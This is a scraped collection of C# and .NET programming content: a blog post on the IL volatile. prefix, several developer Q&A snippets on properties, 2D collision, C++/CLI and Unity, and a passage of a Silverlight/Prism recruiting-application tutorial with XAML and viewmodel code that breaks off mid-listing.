    This time, we'll be having a look at the volatile. prefix instruction, and one of the differences between volatile in IL and C#. The volatile. prefix volatile is a tricky one, as there's varying levels of documentation on it. From what I can see, it has two effects: It prevents caching of the load or store value; rather than reading or writing to a cached version of the memory location (say, the processor register or cache), it forces the value to be loaded or stored at the 'actual' memory location, so it is then immediately visible to other threads. It forces a memory barrier at the prefixed instruction. This ensures instructions don't get re-ordered around the volatile instruction. This is slightly more complicated than it first seems, and only seems to matter on certain architectures. For more details, Joe Duffy has a blog post going into the details. For this post, I'll be concentrating on the first aspect of volatile. Caching field accesses To demonstrate this, I created a simple multithreaded IL program. It boils down to the following code: .class public Holder { .field public static class Holder holder .field public bool stop .method public static specialname void .cctor() { newobj instance void Holder::.ctor() stsfld class Holder Holder::holder ret }}.method private static void Main() { .entrypoint // Thread t = new Thread(new ThreadStart(DoWork)) // t.Start() // Thread.Sleep(2000) // Console.WriteLine("Stopping thread...") ldsfld class Holder Holder::holder ldc.i4.1 stfld bool Holder::stop call instance void [mscorlib]System.Threading.Thread::Join() ret}.method private static void DoWork() { ldsfld class Holder Holder::holder // while (!Holder.holder.stop) {} DoWork: dup ldfld bool Holder::stop brfalse DoWork pop ret} If you compile and run this code, you'll find that the call to Thread.Join() never returns - the DoWork spinlock is reading a cached version of Holder.stop, which is never being updated with the new value set by the Main method. Adding volatile to the ldfld fixes this: dupvolatile.ldfld bool Holder::stopbrfalse DoWork The volatile ldfld forces the field access to read direct from heap memory, which is then updated by the main thread, rather than using a cached copy. volatile in C# This highlights one of the differences between IL and C#. In IL, volatile only applies to the prefixed instruction, whereas in C#, volatile is specified on a field to indicate that all accesses to that field should be volatile (interestingly, there's no mention of the 'no caching' aspect of volatile in the C# spec; it only focuses on the memory barrier aspect). Furthermore, this information needs to be stored within the assembly somehow, as such a field might be accessed directly from outside the assembly, but there's no concept of a 'volatile field' in IL! How this information is stored with the field will be the subject of my next post.

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  • Function like C# properties?

    - by alan2here
    I was directed here from SO as a better stack exchange site for this question. I've been thinking about the neatness and expression of C# properties over functions, although they only currently work where no parameters are used, and wondered. Is is possible, and if so why not, to have a stand alone function like C# property. For example: public class test { private byte n = 4; public test() { func = 2; byte n2 = func; func; } private byte func { get { return n; } set { n = value; } func { n++; } } } edit: Sorry for the vagueness first time round. I'm going to add some info and motivation. The 'n++' here is just a simple example, a placeholder, it's not intended to be representative of the actual code that would be used. I'm also looking at this from the point of view of looking at the property command as is, not in the context of using it for 'get_xyz' and 'set_xyz' member functions, which is certainly useful, but of instead comparing it more abstractly to functions and other programic elements. A 'get' property can be used instead of a function that takes no parameters, and syntactically they are perhaps only aesthetically, but as I see it noticeably nicer. However, properties also add the potential for an extra layer of polymorphism, one that relates to the 'func = 4;' getting, 'int n = func;' setting or 'func;' function like context in which they are used as well as the more common parameter based polymorphism. Potentially allowing for a lot of expression and contextual information reguarding how other would use your functions. As in many places uses and definitions would remain the same, it shouldn't break existing code. private byte func { get { } get bool { } set { } func { } func(bool) { } func(byte, myType) { } // etc... } So a read only function would look like this: private byte func { get { } } A normal function like this: private void func { func { } } A function with parameter polymorphism like this: private byte func { func(bool) { } func(byte, myType) { } } And a function that could return a value, or just compute, depending on the context it is used, that also has more conventional parameter polymorphism as well, like so: private byte func { get { } func(bool) { } func(byte, myType) { } }

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  • 2D collision resolving

    - by Philippe Paré
    I've just worked out an AABB collision algorithm for my 2D game and I was very satisfied until I found out it only works properly with movements of 1 in X and 1 in Y... here it is: public bool Intersects(Rectanglef rectangle) { return this.Left < rectangle.Right && this.Right > rectangle.Left && this.Top < rectangle.Bottom && this.Bottom > rectangle.Top; } public bool IntersectsAny(params Rectanglef[] rectangles) { for (int i = 0; i < rectangles.Length; i++) { if (this.Left < rectangles[i].Right && this.Right > rectangles[i].Left && this.Top < rectangles[i].Bottom && this.Bottom > rectangles[i].Top) return true; } return false; } and here is how I use it in the update function of my player : public void Update(GameTime gameTime) { Rectanglef nextPosX = new Rectanglef(AABB.X, AABB.Y, AABB.Width, AABB.Height); Rectanglef nextPosY; if (Input.Key(Key.Left)) nextPosX.X--; if (Input.Key(Key.Right)) nextPosX.X++; bool xFree = !nextPosX.IntersectsAny(Boxes.ToArray()); if (xFree) nextPosY = new Rectanglef(nextPosX.X, nextPosX.Y, nextPosX.Width, nextPosX.Height); else nextPosY = new Rectanglef(AABB.X, AABB.Y, AABB.Width, AABB.Height); if (Input.Key(Key.Up)) nextPosY.Y--; if (Input.Key(Key.Down)) nextPosY.Y++; bool yFree = !nextPosY.IntersectsAny(Boxes.ToArray()); if (yFree) AABB = nextPosY; else if (xFree) AABB = nextPosX; } What I'm having trouble with, is a system where I can give float values to my movement and make it so there's a smooth acceleration. Do I have to retrieve the collision rectangle (the rectangle created by the other two colliding)? or should I do some sort of vector and go along this axis until I reach the collision? Thanks a lot!

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  • Help converting to C++ (6 replies)

    I have two lines of basic C# code System.IO.Directory.CreateDirectory(path); return System.IO.Directory.Exists(path); I want to bury this in a C Win32 Project. My effort so far (that does not work and I do not understand the error messages) is: #using mscorlib.dll using namespace System; using namespace System::IO; bool* clrcall;bool CDirectory(String path) { DirectoryInfo d Directory::CreateDirec...

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  • Help converting to C++ (6 replies)

    I have two lines of basic C# code System.IO.Directory.CreateDirectory(path); return System.IO.Directory.Exists(path); I want to bury this in a C Win32 Project. My effort so far (that does not work and I do not understand the error messages) is: #using mscorlib.dll using namespace System; using namespace System::IO; bool* clrcall;bool CDirectory(String path) { DirectoryInfo d Directory::CreateDirec...

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  • change texture at runtime

    - by user1509674
    How can I change the texture at runtime. I have done changing the label(text) at runtime. The following code is used using UnityEngine; using System.Collections; public class switchtime : MonoBehaviour { // Use this for initialization private bool showLabel = false; private bool showLabe2 = false; private bool showLabe3 = false; private bool showLabe4 = false; public void Start() { Invoke("ToggleLabel", 1); Invoke("ToggleLabel2", 3); Invoke("ToggleLabel3",6 ); Invoke("ToggleLabel4", 9); } public void ToggleLabel() { showLabel = !showLabel; } public void ToggleLabel2() { showLabe2 = !showLabe2; } public void ToggleLabel3() { showLabe3 = !showLabe3; } public void ToggleLabel4() { showLabe4 = !showLabe4; } public void OnGUI() { if (showLabel) { GUI.Label(new Rect(300, 200, 100, 20), "Copying window file.."); } if (showLabe2) { GUI.Label(new Rect(40, 40, 100, 20), "Epanding windows file.."); } if (showLabe3) { GUI.Label(new Rect(80, 80, 100, 20), "Installing Feature.."); } if (showLabe4) { GUI.Label(new Rect(100, 100, 100, 20), "Installing Updates"); } } } Now I need to change the GUITexture at runtime. How can do this? Can anybody help me in coding? Here is some changes I made. I worked on changing the gameObject when mouse is placed on it. This is the code I applied and its working for me using UnityEngine; using System.Collections; public class change : MonoBehaviour { // Use this for initialization public GameObject newSprite; private Vector3 currentSpritePosition; void update() { } void Start() { newSprite.renderer.enabled = false; currentSpritePosition = transform.position; //then make it invisible renderer.enabled = false; //give the new sprite the position of the latter newSprite.transform.position = currentSpritePosition; //then make it visible newSprite.renderer.enabled = true; } void OnMouseExit(){ //just the reverse process renderer.enabled = true; newSprite.renderer.enabled = false; } } Now the problem is that, in same code I need to set a time so that the text get loaded without the mouse click. I mean a particular time to load each text one after the another. Here is my screen shot Here I have placed the image one below the another,when the mouse is hovered on it it will change the text from bold to normal text.Changes process stated in (image 2,3).That code I posted is working for me.

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  • Silverlight Recruiting Application Part 5 - Jobs Module / View

    Now we starting getting into a more code-heavy portion of this series, thankfully though this means the groundwork is all set for the most part and after adding the modules we will have a complete application that can be provided with full source. The Jobs module will have two concerns- adding and maintaining jobs that can then be broadcast out to the website. How they are displayed on the site will be handled by our admin system (which will just poll from this common database), so we aren't too concerned with that, but rather with getting the information into the system and allowing the backend administration/HR users to keep things up to date. Since there is a fair bit of information that we want to display, we're going to move editing to a separate view so we can get all that information in an easy-to-use spot. With all the files created for this module, the project looks something like this: And now... on to the code. XAML for the Job Posting View All we really need for the Job Posting View is a RadGridView and a few buttons. This will let us both show off records and perform operations on the records without much hassle. That XAML is going to look something like this: 01.<Grid x:Name="LayoutRoot" 02.Background="White"> 03.<Grid.RowDefinitions> 04.<RowDefinition Height="30" /> 05.<RowDefinition /> 06.</Grid.RowDefinitions> 07.<StackPanel Orientation="Horizontal"> 08.<Button x:Name="xAddRecordButton" 09.Content="Add Job" 10.Width="120" 11.cal:Click.Command="{Binding AddRecord}" 12.telerik:StyleManager.Theme="Windows7" /> 13.<Button x:Name="xEditRecordButton" 14.Content="Edit Job" 15.Width="120" 16.cal:Click.Command="{Binding EditRecord}" 17.telerik:StyleManager.Theme="Windows7" /> 18.</StackPanel> 19.<telerikGrid:RadGridView x:Name="xJobsGrid" 20.Grid.Row="1" 21.IsReadOnly="True" 22.AutoGenerateColumns="False" 23.ColumnWidth="*" 24.RowDetailsVisibilityMode="VisibleWhenSelected" 25.ItemsSource="{Binding MyJobs}" 26.SelectedItem="{Binding SelectedJob, Mode=TwoWay}" 27.command:SelectedItemChangedEventClass.Command="{Binding SelectedItemChanged}"> 28.<telerikGrid:RadGridView.Columns> 29.<telerikGrid:GridViewDataColumn Header="Job Title" 30.DataMemberBinding="{Binding JobTitle}" 31.UniqueName="JobTitle" /> 32.<telerikGrid:GridViewDataColumn Header="Location" 33.DataMemberBinding="{Binding Location}" 34.UniqueName="Location" /> 35.<telerikGrid:GridViewDataColumn Header="Resume Required" 36.DataMemberBinding="{Binding NeedsResume}" 37.UniqueName="NeedsResume" /> 38.<telerikGrid:GridViewDataColumn Header="CV Required" 39.DataMemberBinding="{Binding NeedsCV}" 40.UniqueName="NeedsCV" /> 41.<telerikGrid:GridViewDataColumn Header="Overview Required" 42.DataMemberBinding="{Binding NeedsOverview}" 43.UniqueName="NeedsOverview" /> 44.<telerikGrid:GridViewDataColumn Header="Active" 45.DataMemberBinding="{Binding IsActive}" 46.UniqueName="IsActive" /> 47.</telerikGrid:RadGridView.Columns> 48.</telerikGrid:RadGridView> 49.</Grid> I'll explain what's happening here by line numbers: Lines 11 and 16: Using the same type of click commands as we saw in the Menu module, we tie the button clicks to delegate commands in the viewmodel. Line 25: The source for the jobs will be a collection in the viewmodel. Line 26: We also bind the selected item to a public property from the viewmodel for use in code. Line 27: We've turned the event into a command so we can handle it via code in the viewmodel. So those first three probably make sense to you as far as Silverlight/WPF binding magic is concerned, but for line 27... This actually comes from something I read onDamien Schenkelman's blog back in the day for creating an attached behavior from any event. So, any time you see me using command:Whatever.Command, the backing for it is actually something like this: SelectedItemChangedEventBehavior.cs: 01.public class SelectedItemChangedEventBehavior : CommandBehaviorBase<Telerik.Windows.Controls.DataControl> 02.{ 03.public SelectedItemChangedEventBehavior(DataControl element) 04.: base(element) 05.{ 06.element.SelectionChanged += new EventHandler<SelectionChangeEventArgs>(element_SelectionChanged); 07.} 08.void element_SelectionChanged(object sender, SelectionChangeEventArgs e) 09.{ 10.// We'll only ever allow single selection, so will only need item index 0 11.base.CommandParameter = e.AddedItems[0]; 12.base.ExecuteCommand(); 13.} 14.} SelectedItemChangedEventClass.cs: 01.public class SelectedItemChangedEventClass 02.{ 03.#region The Command Stuff 04.public static ICommand GetCommand(DependencyObject obj) 05.{ 06.return (ICommand)obj.GetValue(CommandProperty); 07.} 08.public static void SetCommand(DependencyObject obj, ICommand value) 09.{ 10.obj.SetValue(CommandProperty, value); 11.} 12.public static readonly DependencyProperty CommandProperty = 13.DependencyProperty.RegisterAttached("Command", typeof(ICommand), 14.typeof(SelectedItemChangedEventClass), new PropertyMetadata(OnSetCommandCallback)); 15.public static void OnSetCommandCallback(DependencyObject dependencyObject, DependencyPropertyChangedEventArgs e) 16.{ 17.DataControl element = dependencyObject as DataControl; 18.if (element != null) 19.{ 20.SelectedItemChangedEventBehavior behavior = GetOrCreateBehavior(element); 21.behavior.Command = e.NewValue as ICommand; 22.} 23.} 24.#endregion 25.public static SelectedItemChangedEventBehavior GetOrCreateBehavior(DataControl element) 26.{ 27.SelectedItemChangedEventBehavior behavior = element.GetValue(SelectedItemChangedEventBehaviorProperty) as SelectedItemChangedEventBehavior; 28.if (behavior == null) 29.{ 30.behavior = new SelectedItemChangedEventBehavior(element); 31.element.SetValue(SelectedItemChangedEventBehaviorProperty, behavior); 32.} 33.return behavior; 34.} 35.public static SelectedItemChangedEventBehavior GetSelectedItemChangedEventBehavior(DependencyObject obj) 36.{ 37.return (SelectedItemChangedEventBehavior)obj.GetValue(SelectedItemChangedEventBehaviorProperty); 38.} 39.public static void SetSelectedItemChangedEventBehavior(DependencyObject obj, SelectedItemChangedEventBehavior value) 40.{ 41.obj.SetValue(SelectedItemChangedEventBehaviorProperty, value); 42.} 43.public static readonly DependencyProperty SelectedItemChangedEventBehaviorProperty = 44.DependencyProperty.RegisterAttached("SelectedItemChangedEventBehavior", 45.typeof(SelectedItemChangedEventBehavior), typeof(SelectedItemChangedEventClass), null); 46.} These end up looking very similar from command to command, but in a nutshell you create a command based on any event, determine what the parameter for it will be, then execute. It attaches via XAML and ties to a DelegateCommand in the viewmodel, so you get the full event experience (since some controls get a bit event-rich for added functionality). Simple enough, right? Viewmodel for the Job Posting View The Viewmodel is going to need to handle all events going back and forth, maintaining interactions with the data we are using, and both publishing and subscribing to events. Rather than breaking this into tons of little pieces, I'll give you a nice view of the entire viewmodel and then hit up the important points line-by-line: 001.public class JobPostingViewModel : ViewModelBase 002.{ 003.private readonly IEventAggregator eventAggregator; 004.private readonly IRegionManager regionManager; 005.public DelegateCommand<object> AddRecord { get; set; } 006.public DelegateCommand<object> EditRecord { get; set; } 007.public DelegateCommand<object> SelectedItemChanged { get; set; } 008.public RecruitingContext context; 009.private QueryableCollectionView _myJobs; 010.public QueryableCollectionView MyJobs 011.{ 012.get { return _myJobs; } 013.} 014.private QueryableCollectionView _selectionJobActionHistory; 015.public QueryableCollectionView SelectedJobActionHistory 016.{ 017.get { return _selectionJobActionHistory; } 018.} 019.private JobPosting _selectedJob; 020.public JobPosting SelectedJob 021.{ 022.get { return _selectedJob; } 023.set 024.{ 025.if (value != _selectedJob) 026.{ 027._selectedJob = value; 028.NotifyChanged("SelectedJob"); 029.} 030.} 031.} 032.public SubscriptionToken editToken = new SubscriptionToken(); 033.public SubscriptionToken addToken = new SubscriptionToken(); 034.public JobPostingViewModel(IEventAggregator eventAgg, IRegionManager regionmanager) 035.{ 036.// set Unity items 037.this.eventAggregator = eventAgg; 038.this.regionManager = regionmanager; 039.// load our context 040.context = new RecruitingContext(); 041.this._myJobs = new QueryableCollectionView(context.JobPostings); 042.context.Load(context.GetJobPostingsQuery()); 043.// set command events 044.this.AddRecord = new DelegateCommand<object>(this.AddNewRecord); 045.this.EditRecord = new DelegateCommand<object>(this.EditExistingRecord); 046.this.SelectedItemChanged = new DelegateCommand<object>(this.SelectedRecordChanged); 047.SetSubscriptions(); 048.} 049.#region DelegateCommands from View 050.public void AddNewRecord(object obj) 051.{ 052.this.eventAggregator.GetEvent<AddJobEvent>().Publish(true); 053.} 054.public void EditExistingRecord(object obj) 055.{ 056.if (_selectedJob == null) 057.{ 058.this.eventAggregator.GetEvent<NotifyUserEvent>().Publish("No job selected."); 059.} 060.else 061.{ 062.this._myJobs.EditItem(this._selectedJob); 063.this.eventAggregator.GetEvent<EditJobEvent>().Publish(this._selectedJob); 064.} 065.} 066.public void SelectedRecordChanged(object obj) 067.{ 068.if (obj.GetType() == typeof(ActionHistory)) 069.{ 070.// event bubbles up so we don't catch items from the ActionHistory grid 071.} 072.else 073.{ 074.JobPosting job = obj as JobPosting; 075.GrabHistory(job.PostingID); 076.} 077.} 078.#endregion 079.#region Subscription Declaration and Events 080.public void SetSubscriptions() 081.{ 082.EditJobCompleteEvent editComplete = eventAggregator.GetEvent<EditJobCompleteEvent>(); 083.if (editToken != null) 084.editComplete.Unsubscribe(editToken); 085.editToken = editComplete.Subscribe(this.EditCompleteEventHandler); 086.AddJobCompleteEvent addComplete = eventAggregator.GetEvent<AddJobCompleteEvent>(); 087.if (addToken != null) 088.addComplete.Unsubscribe(addToken); 089.addToken = addComplete.Subscribe(this.AddCompleteEventHandler); 090.} 091.public void EditCompleteEventHandler(bool complete) 092.{ 093.if (complete) 094.{ 095.JobPosting thisJob = _myJobs.CurrentEditItem as JobPosting; 096.this._myJobs.CommitEdit(); 097.this.context.SubmitChanges((s) => 098.{ 099.ActionHistory myAction = new ActionHistory(); 100.myAction.PostingID = thisJob.PostingID; 101.myAction.Description = String.Format("Job '{0}' has been edited by {1}", thisJob.JobTitle, "default user"); 102.myAction.TimeStamp = DateTime.Now; 103.eventAggregator.GetEvent<AddActionEvent>().Publish(myAction); 104.} 105., null); 106.} 107.else 108.{ 109.this._myJobs.CancelEdit(); 110.} 111.this.MakeMeActive(this.regionManager, "MainRegion", "JobPostingsView"); 112.} 113.public void AddCompleteEventHandler(JobPosting job) 114.{ 115.if (job == null) 116.{ 117.// do nothing, new job add cancelled 118.} 119.else 120.{ 121.this.context.JobPostings.Add(job); 122.this.context.SubmitChanges((s) => 123.{ 124.ActionHistory myAction = new ActionHistory(); 125.myAction.PostingID = job.PostingID; 126.myAction.Description = String.Format("Job '{0}' has been added by {1}", job.JobTitle, "default user"); 127.myAction.TimeStamp = DateTime.Now; 128.eventAggregator.GetEvent<AddActionEvent>().Publish(myAction); 129.} 130., null); 131.} 132.this.MakeMeActive(this.regionManager, "MainRegion", "JobPostingsView"); 133.} 134.#endregion 135.public void GrabHistory(int postID) 136.{ 137.context.ActionHistories.Clear(); 138._selectionJobActionHistory = new QueryableCollectionView(context.ActionHistories); 139.context.Load(context.GetHistoryForJobQuery(postID)); 140.} Taking it from the top, we're injecting an Event Aggregator and Region Manager for use down the road and also have the public DelegateCommands (just like in the Menu module). We also grab a reference to our context, which we'll obviously need for data, then set up a few fields with public properties tied to them. We're also setting subscription tokens, which we have not yet seen but I will get into below. The AddNewRecord (50) and EditExistingRecord (54) methods should speak for themselves for functionality, the one thing of note is we're sending events off to the Event Aggregator which some module, somewhere will take care of. Since these aren't entirely relying on one another, the Jobs View doesn't care if anyone is listening, but it will publish AddJobEvent (52), NotifyUserEvent (58) and EditJobEvent (63)regardless. Don't mind the GrabHistory() method so much, that is just grabbing history items (visibly being created in the SubmitChanges callbacks), and adding them to the database. Every action will trigger a history event, so we'll know who modified what and when, just in case. ;) So where are we at? Well, if we click to Add a job, we publish an event, if we edit a job, we publish an event with the selected record (attained through the magic of binding). Where is this all going though? To the Viewmodel, of course! XAML for the AddEditJobView This is pretty straightforward except for one thing, noted below: 001.<Grid x:Name="LayoutRoot" 002.Background="White"> 003.<Grid x:Name="xEditGrid" 004.Margin="10" 005.validationHelper:ValidationScope.Errors="{Binding Errors}"> 006.<Grid.Background> 007.<LinearGradientBrush EndPoint="0.5,1" 008.StartPoint="0.5,0"> 009.<GradientStop Color="#FFC7C7C7" 010.Offset="0" /> 011.<GradientStop Color="#FFF6F3F3" 012.Offset="1" /> 013.</LinearGradientBrush> 014.</Grid.Background> 015.<Grid.RowDefinitions> 016.<RowDefinition Height="40" /> 017.<RowDefinition Height="40" /> 018.<RowDefinition Height="40" /> 019.<RowDefinition Height="100" /> 020.<RowDefinition Height="100" /> 021.<RowDefinition Height="100" /> 022.<RowDefinition Height="40" /> 023.<RowDefinition Height="40" /> 024.<RowDefinition Height="40" /> 025.</Grid.RowDefinitions> 026.<Grid.ColumnDefinitions> 027.<ColumnDefinition Width="150" /> 028.<ColumnDefinition Width="150" /> 029.<ColumnDefinition Width="300" /> 030.<ColumnDefinition Width="100" /> 031.</Grid.ColumnDefinitions> 032.<!-- Title --> 033.<TextBlock Margin="8" 034.Text="{Binding AddEditString}" 035.TextWrapping="Wrap" 036.Grid.Column="1" 037.Grid.ColumnSpan="2" 038.FontSize="16" /> 039.<!-- Data entry area--> 040. 041.<TextBlock Margin="8,0,0,0" 042.Style="{StaticResource LabelTxb}" 043.Grid.Row="1" 044.Text="Job Title" 045.VerticalAlignment="Center" /> 046.<TextBox x:Name="xJobTitleTB" 047.Margin="0,8" 048.Grid.Column="1" 049.Grid.Row="1" 050.Text="{Binding activeJob.JobTitle, Mode=TwoWay, NotifyOnValidationError=True, ValidatesOnExceptions=True}" 051.Grid.ColumnSpan="2" /> 052.<TextBlock Margin="8,0,0,0" 053.Grid.Row="2" 054.Text="Location" 055.d:LayoutOverrides="Height" 056.VerticalAlignment="Center" /> 057.<TextBox x:Name="xLocationTB" 058.Margin="0,8" 059.Grid.Column="1" 060.Grid.Row="2" 061.Text="{Binding activeJob.Location, Mode=TwoWay, NotifyOnValidationError=True, ValidatesOnExceptions=True}" 062.Grid.ColumnSpan="2" /> 063. 064.<TextBlock Margin="8,11,8,0" 065.Grid.Row="3" 066.Text="Description" 067.TextWrapping="Wrap" 068.VerticalAlignment="Top" /> 069. 070.<TextBox x:Name="xDescriptionTB" 071.Height="84" 072.TextWrapping="Wrap" 073.ScrollViewer.VerticalScrollBarVisibility="Auto" 074.Grid.Column="1" 075.Grid.Row="3" 076.Text="{Binding activeJob.Description, Mode=TwoWay, NotifyOnValidationError=True, ValidatesOnExceptions=True}" 077.Grid.ColumnSpan="2" /> 078.<TextBlock Margin="8,11,8,0" 079.Grid.Row="4" 080.Text="Requirements" 081.TextWrapping="Wrap" 082.VerticalAlignment="Top" /> 083. 084.<TextBox x:Name="xRequirementsTB" 085.Height="84" 086.TextWrapping="Wrap" 087.ScrollViewer.VerticalScrollBarVisibility="Auto" 088.Grid.Column="1" 089.Grid.Row="4" 090.Text="{Binding activeJob.Requirements, Mode=TwoWay, NotifyOnValidationError=True, ValidatesOnExceptions=True}" 091.Grid.ColumnSpan="2" /> 092.<TextBlock Margin="8,11,8,0" 093.Grid.Row="5" 094.Text="Qualifications" 095.TextWrapping="Wrap" 096.VerticalAlignment="Top" /> 097. 098.<TextBox x:Name="xQualificationsTB" 099.Height="84" 100.TextWrapping="Wrap" 101.ScrollViewer.VerticalScrollBarVisibility="Auto" 102.Grid.Column="1" 103.Grid.Row="5" 104.Text="{Binding activeJob.Qualifications, Mode=TwoWay, NotifyOnValidationError=True, ValidatesOnExceptions=True}" 105.Grid.ColumnSpan="2" /> 106.<!-- Requirements Checkboxes--> 107. 108.<CheckBox x:Name="xResumeRequiredCB" Margin="8,8,8,15" 109.Content="Resume Required" 110.Grid.Row="6" 111.Grid.ColumnSpan="2" 112.IsChecked="{Binding activeJob.NeedsResume, Mode=TwoWay, NotifyOnValidationError=True, ValidatesOnExceptions=True}"/> 113. 114.<CheckBox x:Name="xCoverletterRequiredCB" Margin="8,8,8,15" 115.Content="Cover Letter Required" 116.Grid.Column="2" 117.Grid.Row="6" 118.IsChecked="{Binding activeJob.NeedsCV, Mode=TwoWay, NotifyOnValidationError=True, ValidatesOnExceptions=True}"/> 119. 120.<CheckBox x:Name="xOverviewRequiredCB" Margin="8,8,8,15" 121.Content="Overview Required" 122.Grid.Row="7" 123.Grid.ColumnSpan="2" 124.IsChecked="{Binding activeJob.NeedsOverview, Mode=TwoWay, NotifyOnValidationError=True, ValidatesOnExceptions=True}"/> 125. 126.<CheckBox x:Name="xJobActiveCB" Margin="8,8,8,15" 127.Content="Job is Active" 128.Grid.Column="2" 129.Grid.Row="7" 130.IsChecked="{Binding activeJob.IsActive, Mode=TwoWay, NotifyOnValidationError=True, ValidatesOnExceptions=True}"/> 131. 132.<!-- Buttons --> 133. 134.<Button x:Name="xAddEditButton" Margin="8,8,0,10" 135.Content="{Binding AddEditButtonString}" 136.cal:Click.Command="{Binding AddEditCommand}" 137.Grid.Column="2" 138.Grid.Row="8" 139.HorizontalAlignment="Left" 140.Width="125" 141.telerik:StyleManager.Theme="Windows7" /> 142. 143.<Button x:Name="xCancelButton" HorizontalAlignment="Right" 144.Content="Cancel" 145.cal:Click.Command="{Binding CancelCommand}" 146.Margin="0,8,8,10" 147.Width="125" 148.Grid.Column="2" 149.Grid.Row="8" 150.telerik:StyleManager.Theme="Windows7" /> 151.</Grid> 152.</Grid> The 'validationHelper:ValidationScope' line may seem odd. This is a handy little trick for catching current and would-be validation errors when working in this whole setup. This all comes from an approach found on theJoy Of Code blog, although it looks like the story for this will be changing slightly with new advances in SL4/WCF RIA Services, so this section can definitely get an overhaul a little down the road. The code is the fun part of all this, so let us see what's happening under the hood. Viewmodel for the AddEditJobView We are going to see some of the same things happening here, so I'll skip over the repeat info and get right to the good stuff: 001.public class AddEditJobViewModel : ViewModelBase 002.{ 003.private readonly IEventAggregator eventAggregator; 004.private readonly IRegionManager regionManager; 005. 006.public RecruitingContext context; 007. 008.private JobPosting _activeJob; 009.public JobPosting activeJob 010.{ 011.get { return _activeJob; } 012.set 013.{ 014.if (_activeJob != value) 015.{ 016._activeJob = value; 017.NotifyChanged("activeJob"); 018.} 019.} 020.} 021. 022.public bool isNewJob; 023. 024.private string _addEditString; 025.public string AddEditString 026.{ 027.get { return _addEditString; } 028.set 029.{ 030.if (_addEditString != value) 031.{ 032._addEditString = value; 033.NotifyChanged("AddEditString"); 034.} 035.} 036.} 037. 038.private string _addEditButtonString; 039.public string AddEditButtonString 040.{ 041.get { return _addEditButtonString; } 042.set 043.{ 044.if (_addEditButtonString != value) 045.{ 046._addEditButtonString = value; 047.NotifyChanged("AddEditButtonString"); 048.} 049.} 050.} 051. 052.public SubscriptionToken addJobToken = new SubscriptionToken(); 053.public SubscriptionToken editJobToken = new SubscriptionToken(); 054. 055.public DelegateCommand<object> AddEditCommand { get; set; } 056.public DelegateCommand<object> CancelCommand { get; set; } 057. 058.private ObservableCollection<ValidationError> _errors = new ObservableCollection<ValidationError>(); 059.public ObservableCollection<ValidationError> Errors 060.{ 061.get { return _errors; } 062.} 063. 064.private ObservableCollection<ValidationResult> _valResults = new ObservableCollection<ValidationResult>(); 065.public ObservableCollection<ValidationResult> ValResults 066.{ 067.get { return this._valResults; } 068.} 069. 070.public AddEditJobViewModel(IEventAggregator eventAgg, IRegionManager regionmanager) 071.{ 072.// set Unity items 073.this.eventAggregator = eventAgg; 074.this.regionManager = regionmanager; 075. 076.context = new RecruitingContext(); 077. 078.AddEditCommand = new DelegateCommand<object>(this.AddEditJobCommand); 079.CancelCommand = new DelegateCommand<object>(this.CancelAddEditCommand); 080. 081.SetSubscriptions(); 082.} 083. 084.#region Subscription Declaration and Events 085. 086.public void SetSubscriptions() 087.{ 088.AddJobEvent addJob = this.eventAggregator.GetEvent<AddJobEvent>(); 089. 090.if (addJobToken != null) 091.addJob.Unsubscribe(addJobToken); 092. 093.addJobToken = addJob.Subscribe(this.AddJobEventHandler); 094. 095.EditJobEvent editJob = this.eventAggregator.GetEvent<EditJobEvent>(); 096. 097.if (editJobToken != null) 098.editJob.Unsubscribe(editJobToken); 099. 100.editJobToken = editJob.Subscribe(this.EditJobEventHandler); 101.} 102. 103.public void AddJobEventHandler(bool isNew) 104.{ 105.this.activeJob = null; 106.this.activeJob = new JobPosting(); 107.this.activeJob.IsActive = true; // We assume that we want a new job to go up immediately 108.this.isNewJob = true; 109.this.AddEditString = "Add New Job Posting"; 110.this.AddEditButtonString = "Add Job"; 111. 112.MakeMeActive(this.regionManager, "MainRegion", "AddEditJobView"); 113.} 114. 115.public void EditJobEventHandler(JobPosting editJob) 116.{ 117.this.activeJob = null; 118.this.activeJob = editJob; 119.this.isNewJob = false; 120.this.AddEditString = "Edit Job Posting"; 121.this.AddEditButtonString = "Edit Job"; 122. 123.MakeMeActive(this.regionManager, "MainRegion", "AddEditJobView"); 124.} 125. 126.#endregion 127. 128.#region DelegateCommands from View 129. 130.public void AddEditJobCommand(object obj) 131.{ 132.if (this.Errors.Count > 0) 133.{ 134.List<string> errorMessages = new List<string>(); 135. 136.foreach (var valR in this.Errors) 137.{ 138.errorMessages.Add(valR.Exception.Message); 139.} 140. 141.this.eventAggregator.GetEvent<DisplayValidationErrorsEvent>().Publish(errorMessages); 142. 143.} 144.else if (!Validator.TryValidateObject(this.activeJob, new ValidationContext(this.activeJob, null, null), _valResults, true)) 145.{ 146.List<string> errorMessages = new List<string>(); 147. 148.foreach (var valR in this._valResults) 149.{ 150.errorMessages.Add(valR.ErrorMessage); 151.} 152. 153.this._valResults.Clear(); 154. 155.this.eventAggregator.GetEvent<DisplayValidationErrorsEvent>().Publish(errorMessages); 156.} 157.else 158.{ 159.if (this.isNewJob) 160.{ 161.this.eventAggregator.GetEvent<AddJobCompleteEvent>().Publish(this.activeJob); 162.} 163.else 164.{ 165.this.eventAggregator.GetEvent<EditJobCompleteEvent>().Publish(true); 166.} 167.} 168.} 169. 170.public void CancelAddEditCommand(object obj) 171.{ 172.if (this.isNewJob) 173.{ 174.this.eventAggregator.GetEvent<AddJobCompleteEvent>().Publish(null); 175.} 176.else 177.{ 178.this.eventAggregator.GetEvent<EditJobCompleteEvent>().Publish(false); 179.} 180.} 181. 182.#endregion 183.} 184.} We start seeing something new on line 103- the AddJobEventHandler will create a new job and set that to the activeJob item on the ViewModel. When this is all set, the view calls that familiar MakeMeActive method to activate itself. I made a bit of a management call on making views self-activate like this, but I figured it works for one reason. As I create this application, views may not exist that I have in mind, so after a view receives its 'ping' from being subscribed to an event, it prepares whatever it needs to do and then goes active. This way if I don't have 'edit' hooked up, I can click as the day is long on the main view and won't get lost in an empty region. Total personal preference here. :) Everything else should again be pretty straightforward, although I do a bit of validation checking in the AddEditJobCommand, which can either fire off an event back to the main view/viewmodel if everything is a success or sent a list of errors to our notification module, which pops open a RadWindow with the alerts if any exist. As a bonus side note, here's what my WCF RIA Services metadata looks like for handling all of the validation: private JobPostingMetadata() { } [StringLength(2500, ErrorMessage = "Description should be more than one and less than 2500 characters.", MinimumLength = 1)] [Required(ErrorMessage = "Description is required.")] public string Description; [Required(ErrorMessage="Active Status is Required")] public bool IsActive; [StringLength(100, ErrorMessage = "Posting title must be more than 3 but less than 100 characters.", MinimumLength = 3)] 